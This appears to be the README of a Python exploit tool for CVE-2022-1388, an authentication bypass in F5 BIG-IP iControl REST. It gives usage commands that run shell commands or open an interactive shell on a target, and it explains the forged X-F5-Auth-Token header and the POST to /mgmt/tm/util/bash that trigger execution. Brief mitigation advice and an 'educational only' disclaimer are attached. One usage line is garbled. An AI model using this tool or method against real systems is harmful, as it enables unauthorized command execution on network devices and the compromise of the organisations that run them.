
This Python script exploits CVE-2022-1388, a critical vulnerability in F5 BIG-IP iControl REST that allows unauthenticated remote command execution via improper access control and HTTP header handling.
⚠️ For educational and authorized security research only. Do not use against systems you do not own or have explicit permission to test.
--shell)python3 cve_2022_1388_exploit.py -u <target_url> -c "<command>"
python3 cve_2022_1388_exploit.py -u https://192.168.1.1 -c "id"
python3 cve_2022_1388_exploit.py -u https://192.168.1.1 -a "root:password" -c "whoami"
python3 cve_2022_1388_exploit.py -u https://192.168.1.1 --shell
The script bypasses auth by setting a forged X-F5-Auth-Token and Authorization headers.
Sends a POST request to: /mgmt/tm/util/bash
Payload triggers execution of the specified shell command.
Upgrade to patched F5 BIG-IP versions as recommended by F5 Security Advisory.
Restrict access to iControl REST interface.
This exploit script is provided for educational purposes only. Usage is entirely at your own risk.